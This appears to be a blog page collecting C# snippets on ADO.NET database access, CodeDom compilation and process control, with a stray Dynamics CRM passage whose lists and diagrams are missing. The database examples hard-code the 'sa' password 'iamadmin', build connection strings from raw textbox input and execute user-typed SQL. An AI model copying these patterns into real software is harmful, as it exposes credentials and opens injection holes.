    SqlDataAdapter is a part of the ADO.NET Data Provider and it resides in the System.Data.SqlClient namespace. SqlDataAdapter provides the communication between the Dataset and the SQL database. We can use SqlDataAdapter Object in combination with Dataset Object.


    Get Scema table

    //get schema table
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Data.Sql;
    using System.Data.SqlClient;
    
    namespace GetScemaTable
    {
        public partial class Form1 : Form
        {
            public string _connStr_ = "Data Source=127.0.0.1,1433;Initial Catalog=killercode;User Id=sa;Password=iamadmin;";
            SqlCommand scmd;
            SqlConnection conn;
    
            public Form1()
            {
                InitializeComponent();
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                try
                {
                    conn = new SqlConnection(_connStr_);
                    scmd = new SqlCommand("select * from grademstr", conn);
    
                    scmd.Connection.Open();
                    SqlDataReader sdr = scmd.ExecuteReader();
                    DataTable gst = sdr.GetSchemaTable();
    
                    foreach (DataRow item in gst.Rows)
                    {
                        foreach (DataColumn col in gst.Columns)
                        {
                            MessageBox.Show(string.Format("{0} = {1}", col.ColumnName, item[col]));
                        }
                    }
                    sdr.Close();
                    scmd.Dispose();
                    conn.Close();
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }
    }
    

    Data Connection Example

    //Data Connection
    using System.Data.SqlClient;
    using System.Data;
    
    namespace killercodes_in.DataConnect
    {
        public partial class Form1 : Form
        {
            SqlConnection con;
            SqlDataAdapter adp;
            DataSet ds;
    
            public string _intsec = "Data Source=127.0.0.1;Initial Catalog=Authors;Integrated Security=True;Pooling=False";
            public string ExtSec = "Data Source=127.0.0.1;Initial Catalog=Authors;Integrated Security=True;Pooling=False";
            public string _tcp_sa_Sec = "Data Source=127.0.0.1;Network Library=DBMSSOCN;Initial Catalog=master;Integrated Security=False;User ID=sa;Password=iamadmin;";
            private string _cString1 = "Data Source=(local);Initial Catalog=killercode;User Id=sa;Password=iamadmin;";
    
            public Form1()
            {
                InitializeComponent();
                con = new SqlConnection(_cString1);
            }
    
            private void btnConnect_Click(object sender, EventArgs e)
            {
                SqlConnection oCon;
                SqlCommand oCmd;
                string strCon;
                //oCon.ConnectionString = 
    
    
                oCon = new SqlConnection();
                oCon.ConnectionString = ExtSec;
                MessageBox.Show(oCon.ConnectionString);
                MessageBox.Show(oCon.E_Error().ToString());
    
                oCon.E_SetString("127.0.0.1", "master", "sa", "iamadmin");
                MessageBox.Show(oCon.ConnectionString);
                MessageBox.Show(oCon.E_Error().ToString());
    
                oCon.E_SetString("127.0.0.1", "master");
                MessageBox.Show(oCon.ConnectionString);
                MessageBox.Show(oCon.E_Error().ToString());
    
            }
    
            private void btnExecute_Click(object sender, EventArgs e)
            {
                SqlCommand oCmd;
                string strConn;
    
                try
                {
                    strConn = "Data Source=(local);Initial Catalog=" + txtDb.Text + ";User ID=" + txtId.Text
                    + ";Password=" + txtPsw.Text + ";";
                    oCmd = new SqlCommand();
                    oCmd.Connection = new SqlConnection(strConn);
                    oCmd.Connection.Open();
                    oCmd.CommandText = txtSql.Text;
                    txtRows.Text = oCmd.ExecuteNonQuery().ToString();
    
                    MessageBox.Show("SQL Statement succeded");
    
                    oCmd.Connection.Close();
                }
                catch (Exception ExSCon)
                {
                    MessageBox.Show(ExSCon.Message);
                }
    
    
            }
    
            private void chkSecurity_CheckedChanged(object sender, EventArgs e)
            {
    
                if (chkSecurity.Checked == true)
                {
                    txtId.Enabled = false;
                    txtPsw.Enabled = false;
    
                }
                else
                {
                    txtId.Enabled = true;
                    txtPsw.Enabled = true;
                }
            }
    
            private void button1_Click(object sender, EventArgs e)
            {
                try
                {
                    con.Open();
                    con.Close();
                }
                catch (Exception)
                {
    
                }
    
                ds = new DataSet();
    
                adp = new SqlDataAdapter("select * from grademstr", con);
                SqlCommandBuilder cb = new SqlCommandBuilder(adp);
                adp.Fill(ds, "grademstr");
                dataGridView1.DataSource = ds;
                dataGridView1.DataMember = "grademstr";
            }
        }
    
        public static class Extended
        {
            public static bool E_Check(this SqlConnection astr)
            {
                try
                {
                    astr.Open();
                    astr.Close();
                    return true;
                }
                catch (Exception ee)
                {
                    return false;
                }
            }
    
            public static bool E_Check(this SqlConnection astr, string OkMsg, string NokMsg)
            {
                try
                {
                    astr.Open();
                    astr.Close();
                    MessageBox.Show(OkMsg, "Vola", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                    return true;
                }
                catch (Exception ee)
                {
                    MessageBox.Show(NokMsg, "Oops", MessageBoxButtons.OK, MessageBoxIcon.Stop);
                    return false;
                }
    
            }
    
            public static bool E_Error(this SqlConnection astr)
            {
                try
                {
                    astr.Open();
                    astr.Close();
                    return true;
                }
                catch (Exception ee)
                {
                    MessageBox.Show(ee.Message, "An Error occured @ " + ee.Source, MessageBoxButtons.OK, MessageBoxIcon.Stop);
                    return false;
                }
            }
    
            public static void E_SetString(this SqlConnection sqc, string IP, string db_Name, string ID, string Password)
            {
                sqc.ConnectionString = "Data Source=" + IP + ";Network Library=DBMSSOCN;Initial Catalog=" + db_Name + ";Integrated Security=False;User ID=" + ID + ";Password=" + Password + ";";
            }
    
            public static void E_SetString(this SqlConnection sqc, string IP, string db_Name)
            {
                sqc.ConnectionString = "Data Source=" + IP + ";Initial Catalog=" + db_Name + ";Integrated Security=True;Pooling=False";
            }
        }
    }
    
    

    Data Adapter Example


    dotNet Compiler using codedom

    //dot net compiler
    using System; 
    using System.CodeDom.Compiler; 
    using System.IO; 
         
    namespace IndiLogix.dotCompiler 
    { 
        class dotCompiler 
        { 
            FileInfo sourceFile;// = new FileInfo(sourceName); 
            CodeDomProvider provider = null; 
            bool compileOk = false; 
         
        
            // Compile Executable 
            public bool CompileExecutable(String sourceName) 
            { 
                sourceFile = new FileInfo(sourceName); 
                I_GetProvider(sourceFile); 
                if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS") 
                { 
                    provider = CodeDomProvider.CreateProvider("CSharp"); 
                    //return "CSharp"; 
                } 
         
                if (provider != null) 
                { 
         
                    // Format the executable file name. 
                    // Build the output assembly path using the current directory 
                    // and _cs.exe or _vb.exe. 
         
                    String exeName = String.Format(@"{0}\{1}.exe", 
                    System.Environment.CurrentDirectory, 
                    sourceFile.Name.Replace(".", "_")); 
                    string dllName = String.Format(@"{0}\{1}.dll", System.Environment.CurrentDirectory, sourceFile.Name.Replace(".", "_")); 
         
                    CompilerParameters cp = new CompilerParameters(); 
         
                    // Generate an executable instead of a class library. 
                    cp.GenerateExecutable = true; 
         
                    // Specify the assembly file name to generate. 
                    cp.OutputAssembly = exeName; 
         
                    // Save the assembly as a physical file. 
                    cp.GenerateInMemory = false; 
         
                    // Set whether to treat all warnings as errors. 
                    cp.TreatWarningsAsErrors = false; 
         
                    // Invoke compilation of the source file. 
                    CompilerResults cr = provider.CompileAssemblyFromFile(cp, sourceName); 
                    string temp; 
                    if (cr.Errors.Count > 0) 
                    { 
                        // Display compilation errors. 
                        temp = sourceName + "\n" + cr.PathToAssembly; 
         
                        foreach (CompilerError ce in cr.Errors) 
                        { 
                            temp += "\nError:" + ce.ToString(); 
                        } 
                        System.Windows.Forms.MessageBox.Show(temp, "dotCompiler Error:", System.Windows.Forms.MessageBoxButtons.OK); 
                    } 
                    else 
                    { 
                        // Display a successful compilation message. 
                        //Console.WriteLine("Source {0} built into {1} successfully.",sourceName, cr.PathToAssembly); 
                        System.Windows.Forms.MessageBox.Show("Solution build sucessfully..\n\n" + sourceName + "\n" + cr.PathToAssembly,"dotCompiler:)",System.Windows.Forms.MessageBoxButtons.OK); 
                    } 
         
                    // Return the results of the compilation. 
                    if (cr.Errors.Count > 0) 
                    { 
                        compileOk = false; 
                    } 
                    else 
                    { 
                        compileOk = true; 
                    } 
                } 
                return compileOk; 
            } 
         
            private void I_GetProvider(FileInfo sourceFile) 
            { 
                // Select the code provider based on the input file extension. 
                if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS") 
                { 
                    provider = CodeDomProvider.CreateProvider("CSharp"); 
                } 
                else if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".VB") 
                { 
                    provider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("VisualBasic"); 
                } 
                else 
                { 
                    //Console.WriteLine("Source file must have a .cs or .vb extension"); 
                    //_Notify("Error:", "Source file must have a .cs or .vb extension", ToolTipIcon.Error); 
                    System.Windows.Forms.MessageBox.Show( 
                    "Source file must have *.cs or *.vb extension", "dotCompiler Error", 
                    System.Windows.Forms.MessageBoxButtons.OK); 
                } 
            } 
         
            private string I_GetProvider_RetStr(FileInfo sourceFile) 
            { 
         
                // Select the code provider based on the input file extension. 
                if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".CS") 
                { 
                    provider = CodeDomProvider.CreateProvider("CSharp"); 
                    return "CSharp"; 
                } 
                else if (sourceFile.Extension.ToUpper(System.Globalization.CultureInfo.InvariantCulture) == ".VB") 
                { 
                    provider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("VisualBasic"); 
                    return "VisualBasic"; 
                } 
                else 
                { 
                    //Console.WriteLine("Source file must have a .cs or .vb extension"); 
                    //_Notify("Error:", "Source file must have a .cs or .vb extension", ToolTipIcon.Error); 
                    return "Source file must have *.cs or *.vb extension"; 
                } 
            } 
         
            public bool CompileDll(String sourceName) 
            { 
         
                sourceFile = new FileInfo(sourceName); 
                I_GetProvider(sourceFile); 
         
                if (provider != null) 
                { 
         
                // Format the executable file name. 
                // Build the output assembly path using the current directory 
                // and _cs.exe or _vb.exe. 
         
                String exeName = String.Format(@"{0}\{1}.exe", 
                System.Environment.CurrentDirectory, 
                sourceFile.Name.Replace(".", "_")); 
                string dllName = String.Format(@"{0}\{1}.dll", System.Environment.CurrentDirectory, sourceFile.Name.Replace(".", "_")); 
         
                CompilerParameters cp = new CompilerParameters(); 
         
                // Generate an executable instead of a class library. 
                cp.GenerateExecutable = false; 
         
                // Specify the assembly file name to generate. 
                cp.OutputAssembly = dllName; 
         
                // Save the assembly as a physical file. 
                cp.GenerateInMemory = false; 
         
                // Set whether to treat all warnings as errors. 
                cp.TreatWarningsAsErrors = false; 
         
                // Invoke compilation of the source file. 
                CompilerResults cr = provider.CompileAssemblyFromFile(cp, sourceName); 
                string temp; 
                if (cr.Errors.Count > 0) 
                { 
                // Display compilation errors. 
                temp = "compiling " + sourceName + " to " + cr.PathToAssembly; 
         
                foreach (CompilerError ce in cr.Errors) 
                { 
                temp += "\nError:" + ce.ToString(); 
                } 
         
                    System.Windows.Forms.MessageBox.Show(temp, "dotCompiler Error:", System.Windows.Forms.MessageBoxButtons.OK); 
                } 
                else 
                { 
                    // Display a successful compilation message. 
                    //Console.WriteLine("Source {0} built into {1} successfully.",sourceName, cr.PathToAssembly); 
                    System.Windows.Forms.MessageBox.Show("Solution build sucessfully..\n\n" + sourceName + "\n" + cr.PathToAssembly, "dotCompiler:)", System.Windows.Forms.MessageBoxButtons.OK); 
                } 
         
                    // Return the results of the compilation. 
                    if (cr.Errors.Count > 0) 
                    { 
                        compileOk = false; 
                    } 
                    else 
                    { 
                        compileOk = true; 
                    } 
                } 
            return compileOk; 
            } 
         
        } 
    } 
    

    Piping a process

    //process piping
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Diagnostics;
    using System.IO;
    using System.Windows.Forms;
    
    namespace IndiLogiX.Propipe
    {
        static class IProcessPipe
        {
    
            public static void ExecPro(string ProcName, string args, string WrkDir, string cmdtxt, out string coutext)
            {
                Process cmd = new Process();
    
                cmd.StartInfo.FileName = ProcName;
                cmd.StartInfo.Arguments = args;
                cmd.StartInfo.UseShellExecute = false;
                cmd.StartInfo.WorkingDirectory = WrkDir;
                cmd.StartInfo.CreateNoWindow = true;
                cmd.StartInfo.ErrorDialog = true;
                cmd.StartInfo.RedirectStandardOutput = true;
                cmd.StartInfo.RedirectStandardInput = true;
                cmd.StartInfo.RedirectStandardError = true;
    
                cmd.Start();
                StreamWriter cin = cmd.StandardInput;
                StreamReader cout = cmd.StandardOutput;
    
                cin.WriteLine(cmdtxt);
                cin.Close();
                coutext = cout.ReadToEnd();
                cmd.WaitForExit();
                cmd.Close();
            }
    
            public static string ExecPro(string ProcName, string args, string WrkDir, string cmdtxt)
            {
                Process cmd = new Process();
                string coutext;
                cmd.StartInfo.FileName = ProcName;
                cmd.StartInfo.Arguments = args;
                cmd.StartInfo.UseShellExecute = false;
                cmd.StartInfo.WorkingDirectory = WrkDir;
                cmd.StartInfo.CreateNoWindow = true;
                cmd.StartInfo.ErrorDialog = true;
                cmd.StartInfo.RedirectStandardOutput = true;
                cmd.StartInfo.RedirectStandardInput = true;
                cmd.StartInfo.RedirectStandardError = true;
    
                cmd.Start();
                StreamWriter cin = cmd.StandardInput;
                StreamReader cout = cmd.StandardOutput;
    
                cin.WriteLine(cmdtxt);
                cin.Close();
                coutext = cout.ReadToEnd();
                cmd.WaitForExit();
                cmd.Close();
    
                return coutext;
            }
    
    
        }
    }
    
    

    Kill a process

    //Kill process
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Diagnostics;
    
    namespace IndiLogix.ProcKiller
    {
        class IProcKiller
        {
            public void I_KillByName(string ProcName)
            {
                try
                {
                    Process[] processByName = Process.GetProcessesByName(ProcName);
                    //Process pogo = Process.GetProcesses(); 
                    foreach (Process pr in processByName)
                    {
                        pr.Kill();
                    }
                }
                catch
                {
                    Console.WriteLine("Cannot terminate " + ProcName + "\n");
                }
            }
    
            public void I_KillByWinName(string WindowName)
            {
                //bool res; 
                try
                {
                    Process[] pro = Process.GetProcesses();
                    foreach (Process p in pro)
                    {
                        if (p.MainWindowTitle.Equals(WindowName))
                        {
                            //res = true; 
                            p.Kill();
                            //return true; 
                            //break; 
                        }
                        else
                        {
                            //res = false; 
                            //return false; 
                            //break; 
                        }
                    }
                }
                catch
                {
                    System.Windows.Forms.MessageBox.Show("Cannot terminate " + WindowName + "\n Process Not found", "Erraor:");
                }
                //return true; 
            }
        }
    }
    
    

    Get Process Information

    //Get Process Infomation
    using System;
    using System.Collections.Generic;
    using System.Linq;
    using System.Text;
    using System.Diagnostics;
    
    namespace IndiLogix.ProcInf
    {
        struct ProcInfo
        {
            internal string PName, PWinTitle, PMscNm, PMnMod, PMmFnm;
            internal int PId, PBsPri, PExCod, PHwCnt, PMModMemSz, PSsnId, PThdCnt;
            internal DateTime PExTim, PStrTime;
            internal IntPtr PHwnd, PMmBsAdd, PMmEnPoAd, PMnWinHw, PMxWrkSt, PMinWrkSet, PProAff;
            internal bool PHsExt, PResp, PPriBooEnb;
            internal FileVersionInfo PMmFlVer;
            internal TimeSpan PToProTm, PUsrProTim, PPrvProTim;
            internal long PNonPgSysMemSiz, PWrkSet, PVirMemSiz, PPgMemSiz, PPgSysMemSiz, PPekPgMemSiz, PPekVirMemSiz, PPekWrkSet, PPvtMemSiz;
    
        };
    
        class I_ProcInfo
        {
            private const string usage = @"This is process Framework form IndiLogix, 
        It shows various process info";
    
            private ProcInfo pn;
    
            public string AboutIt
            {
                get { return usage; }
            }
            #region Process Property
            public int ProcessId { get { return pn.PId; } }
            public string MainWindowTitle { get { return pn.PWinTitle; } }
            public string ProcessName { get { return pn.PName; } }
            public int BasePriority { get { return pn.PBsPri; } }
            public int ExitCode { get { return pn.PExCod; } }
            public IntPtr Handle { get { return pn.PHwnd; } }
            public int HandleCount { get { return pn.PHwCnt; } }
            public bool HasExited { get { return pn.PHsExt; } }
            public string MachineName { get { return pn.PMscNm; } }
            public string Mod_Filename { get { return pn.PMmFnm; } }
            public FileVersionInfo Mod_Verinfo { get { return pn.PMmFlVer; } }
            public int Mod_MemorySize { get { return pn.PMModMemSz; } }
            public IntPtr Mod_BaseAddress { get { return pn.PMmBsAdd; } }
            public IntPtr Mod_EntryPointAddress { get { return pn.PMmEnPoAd; } }
            public string Mod_ModuleName { get { return pn.PMnMod; } }
            public IntPtr MainWindowHandle { get { return pn.PMnWinHw; } }
            public IntPtr MaxWorkingSet { get { return pn.PMxWrkSt; } }
            public IntPtr MinWorkingSet { get { return pn.PMinWrkSet; } }
            public bool Responding { get { return pn.PResp; } }
            public int SessionId { get { return pn.PSsnId; } }
            public int ThreadsCount { get { return pn.PThdCnt; } }
            public TimeSpan TotalProcessTIme { get { return pn.PToProTm; } }
            public TimeSpan UserProcessTIme { get { return pn.PUsrProTim; } }
            public long NonPagedSysMemory { get { return pn.PNonPgSysMemSiz; } }
            public long PageMemorySize { get { return pn.PPgMemSiz; } }
            public long PagedSystemMemorySize { get { return pn.PPgSysMemSiz; } }
            public long PeakPagedMemorySize { get { return pn.PPekPgMemSiz; } }
            public long PeakVirtualMemorySize { get { return pn.PPekVirMemSiz; } }
            public long PeakWorkingSet { get { return pn.PPekWrkSet; } }
            public bool PriorityBoostEnabled { get { return pn.PPriBooEnb; } }
            public long PrivateMemorySize { get { return pn.PPvtMemSiz; } }
            public TimeSpan PrivilegedProcessTime { get { return pn.PPrvProTim; } }
            public IntPtr ProcessorAffinity { get { return pn.PProAff; } }
            public DateTime StartTime { get { return pn.PStrTime; } }
            public long VirtualMemorySize { get { return pn.PVirMemSiz; } }
            public long WorkingSet { get { return pn.PWrkSet; } }
            #endregion
    
            public void I_Kill(string ProcName)
            {
                try
                {
                    Process[] processByName = Process.GetProcessesByName(ProcName);
                    //Process pogo = Process.GetProcesses(); 
                    foreach (Process pr in processByName)
                    {
                        pr.Kill();
                    }
                }
                catch
                {
                    Console.WriteLine("Cannot terminate " + ProcName + "\n");
                }
            }
    
            public void I_Kill(int Id)
            {
                try
                {
                    Process processById = Process.GetProcessById(Id);
                    processById.Kill();
                    //foreach (Process pr in processByName) 
                    //{ 
                    //    pr.Kill(); 
                    //} 
                }
                catch
                {
                    Console.WriteLine("Cannot terminate " + Id + "\n");
                }
            }
    
            public static void I_GetRunningProc()
            {
                Process[] go = Process.GetProcesses();
                foreach (Process g in go)
                {
                    Console.WriteLine("{0}|{1}|{2}", g.ProcessName, g.MainWindowTitle, g.Id.ToString());
                }
            }
    
            public string I_GetProcName(int Id)
            {
                string res = "Process Not Found";
                Process[] pro = Process.GetProcesses();
                foreach (Process p in pro)
                {
                    if (p.Id.Equals(Id))
                    {
                        res = p.ProcessName;
                        break;
                    }
                    else
                    {
                        res = "Process Not Found";
                    }
                }
                return res;
            }
    
            public int I_GetProcId(string pnm)
            {
                int res = 0;
                Process[] pro = Process.GetProcesses();
                foreach (Process p in pro)
                {
                    if (p.ProcessName.Equals(pnm))
                    {
                        res = p.Id;
                        break;
                    }
                    else
                    {
                        res = 0;
                    }
                }
                return res;
            }
            public void I_GetProcInfo(string ProcessName)
            {
                Process[] go = Process.GetProcesses();
                foreach (Process g in go)
                {
                    if (g.ProcessName.Equals(ProcessName))
                    {
                        pn.PName = g.ProcessName;
                        pn.PWinTitle = g.MainWindowTitle;
                        pn.PId = g.Id;
                        pn.PBsPri = g.BasePriority;
                        //pn.PExCod = g.ExitCode; 
                        //pn.PExTim = g.ExitTime; 
                        pn.PHwnd = g.Handle;
                        pn.PHwCnt = g.HandleCount;
                        pn.PHsExt = g.HasExited;
                        pn.PMscNm = g.MachineName;
                        pn.PMmFnm = g.MainModule.FileName;
                        pn.PMmFlVer = g.MainModule.FileVersionInfo;
                        pn.PMModMemSz = g.MainModule.ModuleMemorySize;
                        pn.PMmBsAdd = g.MainModule.BaseAddress;
                        pn.PMmEnPoAd = g.MainModule.EntryPointAddress;
                        pn.PMnMod = g.MainModule.ModuleName;
                        pn.PMnWinHw = g.MainWindowHandle;
                        pn.PMxWrkSt = g.MaxWorkingSet;
                        pn.PMinWrkSet = g.MinWorkingSet;
                        pn.PResp = g.Responding;
                        pn.PSsnId = g.SessionId;
                        pn.PThdCnt = g.Threads.Count;
                        pn.PToProTm = g.TotalProcessorTime;
                        pn.PUsrProTim = g.UserProcessorTime;
                        pn.PNonPgSysMemSiz = g.NonpagedSystemMemorySize64;
                        pn.PPgMemSiz = g.PagedMemorySize64;
                        pn.PPgSysMemSiz = g.PagedSystemMemorySize64;
                        pn.PPekPgMemSiz = g.PeakPagedMemorySize64;
                        pn.PPekVirMemSiz = g.PeakVirtualMemorySize64;
                        pn.PPekWrkSet = g.PeakWorkingSet64;
                        pn.PPriBooEnb = g.PriorityBoostEnabled;
                        pn.PPvtMemSiz = g.PrivateMemorySize64;
                        pn.PPrvProTim = g.PrivilegedProcessorTime;
                        pn.PProAff = g.ProcessorAffinity;
                        pn.PStrTime = g.StartTime;
                        pn.PVirMemSiz = g.VirtualMemorySize64;
                        pn.PWrkSet = g.WorkingSet64;
                    }
                }
    
    
            }
    
        }
    }
    
    

    Console output in memory stream

    //piping console output
    MemoryStream mem = new MemoryStream(1000); 
                StreamWriter writer = new StreamWriter(mem); 
                Console.SetOut(writer); 
         
                Assembly assembly = Assembly.LoadFrom(@"C:\ConsoleApp.exe"); 
                assembly.EntryPoint.Invoke(null, null); 
                writer.Close(); 
         
                string s = Encoding.Default.GetString(mem.ToArray()); 
                mem.Close();
    

    Redirect Cmd.exe to window

    //Piping Console
            void RunWithRedirect(string cmdPath) 
            { 
                var proc = new Process(); 
                proc.StartInfo.FileName = cmdPath; 
         
                // set up output redirection 
                proc.StartInfo.RedirectStandardOutput = true; 
                proc.StartInfo.RedirectStandardError = true;    
                proc.EnableRaisingEvents = true; 
                proc.StartInfo.CreateNoWindow = true; 
                // see below for output handler 
                proc.ErrorDataReceived += proc_DataReceived; 
                proc.OutputDataReceived += proc_DataReceived; 
         
                proc.Start(); 
         
                proc.BeginErrorReadLine(); 
                proc.BeginOutputReadLine(); 
         
                proc.WaitForExit(); 
            } 
         
            void proc_DataReceived(object sender, DataReceivedEventArgs e) 
            { 
                // output will be in string e.Data 
            }
    

    Follow a lead from creation through closure

    A lead record in Microsoft Dynamics CRM Online represents a potential customer who must be qualified or disqualified as a sales opportunity. You can use leads to manage potential sales from the point at which you become aware of a customer's interest through the successful sale.

    The following diagram illustrates the ways that you can create a lead and convert it to several different record types.

    Lead diagram

    There are several ways that you can create a lead in Microsoft Dynamics CRM Online:

    After you create the lead, you can convert it into any of the following three record types:

    • Account
    • Contact
    • Opportunity

    When you convert the lead to an opportunity, you can also choose to link the new opportunity to the new accounts or contacts you may have created, or to an existing account or contact in your Microsoft Dynamics CRM Online database.

    Follow an opportunity from creation through closure

    An opportunity is a potential sale or possible revenue from an account or contact.

    The following diagram illustrates the ways that you can create an opportunity and close it when the potential customer decides whether to move forward with the sale.

    Opportunity diagram

    There are several ways that you can create an opportunity in Microsoft Dynamics CRM:

    When you know whether or not the customer is going to move forward with the sale, you can close the opportunity with a status of either Won or Lost.

    Display Assembly attributes

    This C# code snippet displays a list of all the Assembly attributes contained in an assembly file.
    
    using System.Reflection;
     
    // Change the LoadFrom argument to point to your assembly file
    Assembly assembly  = 
       Assembly.LoadFrom (@"C:\Documents\ClassLibrary.dll");
    object[] attibutes = assembly.GetCustomAttributes (true);
    if (attibutes .Length > 0)
       {
       Console.WriteLine ("Assembly attributes for '{0}'", assembly );
       foreach (object o in attibutes) {
          Console.WriteLine ("Attribute: {0}", o.ToString());
       }